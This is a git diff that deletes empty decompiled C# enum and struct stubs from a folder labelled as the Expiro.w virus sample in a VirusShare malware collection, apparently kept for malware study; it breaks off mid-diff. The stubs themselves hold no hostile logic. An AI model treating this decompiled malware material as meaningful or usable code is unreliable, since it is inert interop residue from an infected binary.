a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagINTERVAL_LIMIT_KIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagINTERVAL_LIMIT_KIND.cs deleted file mode 100644 index 6c65296c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagINTERVAL_LIMIT_KIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagINTERVAL_LIMIT_KIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagINTERVAL_LIMIT_KIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagINVOKEKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagINVOKEKIND.cs deleted file mode 100644 index f08f16ee..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagINVOKEKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagINVOKEKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagINVOKEKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagLIBFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagLIBFLAGS.cs deleted file mode 100644 index 00153198..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagLIBFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagLIBFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagLIBFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagLOCKTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagLOCKTYPE.cs deleted file mode 100644 index 471891c8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagLOCKTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagLOCKTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagLOCKTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMARKUPLINKTEXT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMARKUPLINKTEXT.cs deleted file mode 100644 index 748a5fb2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMARKUPLINKTEXT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMARKUPLINKTEXT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagMARKUPLINKTEXT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMARKUPMESSAGE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMARKUPMESSAGE.cs deleted file mode 100644 index 5809db6a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMARKUPMESSAGE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMARKUPMESSAGE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagMARKUPMESSAGE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMARKUPSIZE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMARKUPSIZE.cs deleted file mode 100644 index 1145a2bd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMARKUPSIZE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMARKUPSIZE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagMARKUPSIZE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMARKUPSTATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMARKUPSTATE.cs deleted file mode 100644 index ab9eea6f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMARKUPSTATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMARKUPSTATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagMARKUPSTATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMEMCTX.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMEMCTX.cs deleted file mode 100644 index 853cd141..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMEMCTX.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMEMCTX -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagMEMCTX -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMENUBANDHANDLERCID.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMENUBANDHANDLERCID.cs deleted file mode 100644 index 621ae119..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMENUBANDHANDLERCID.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMENUBANDHANDLERCID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagMENUBANDHANDLERCID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMENUPOPUPPOPUPFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMENUPOPUPPOPUPFLAGS.cs deleted file mode 100644 index 690bf6d5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMENUPOPUPPOPUPFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMENUPOPUPPOPUPFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagMENUPOPUPPOPUPFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMENUPOPUPSELECT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMENUPOPUPSELECT.cs deleted file mode 100644 index a9180660..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMENUPOPUPSELECT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMENUPOPUPSELECT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagMENUPOPUPSELECT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMKREDUCE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMKREDUCE.cs deleted file mode 100644 index 0ed9ea91..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMKREDUCE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMKREDUCE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagMKREDUCE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMKSYS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMKSYS.cs deleted file mode 100644 index 8b96cbbc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMKSYS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMKSYS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagMKSYS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMSG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMSG.cs deleted file mode 100644 index 5dc80b4f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMSG.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMSG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 28)] -internal struct tagMSG -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMSHCTX.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMSHCTX.cs deleted file mode 100644 index 9dcfc20f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMSHCTX.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMSHCTX -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagMSHCTX -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMSHLFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMSHLFLAGS.cs deleted file mode 100644 index 9596daba..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMSHLFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMSHLFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagMSHLFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNAMESPACEWALKFLAG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNAMESPACEWALKFLAG.cs deleted file mode 100644 index 515b6ed8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNAMESPACEWALKFLAG.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagNAMESPACEWALKFLAG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagNAMESPACEWALKFLAG -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNSTCECLICKTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNSTCECLICKTYPE.cs deleted file mode 100644 index 91ce9dda..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNSTCECLICKTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagNSTCECLICKTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagNSTCECLICKTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNSTCEHITTEST.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNSTCEHITTEST.cs deleted file mode 100644 index d1f5cd04..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNSTCEHITTEST.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagNSTCEHITTEST -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagNSTCEHITTEST -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNSTCGNI.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNSTCGNI.cs deleted file mode 100644 index a9e006d2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNSTCGNI.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagNSTCGNI -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagNSTCGNI -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNSTCITEMSTATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNSTCITEMSTATE.cs deleted file mode 100644 index c62ddd67..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNSTCITEMSTATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagNSTCITEMSTATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagNSTCITEMSTATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNSTCROOTSTYLE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNSTCROOTSTYLE.cs deleted file mode 100644 index 5847e352..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNSTCROOTSTYLE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagNSTCROOTSTYLE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagNSTCROOTSTYLE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNSTCSTYLE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNSTCSTYLE.cs deleted file mode 100644 index 379504c7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNSTCSTYLE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagNSTCSTYLE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagNSTCSTYLE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLECLOSE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLECLOSE.cs deleted file mode 100644 index 04ab434f..00000000 --- 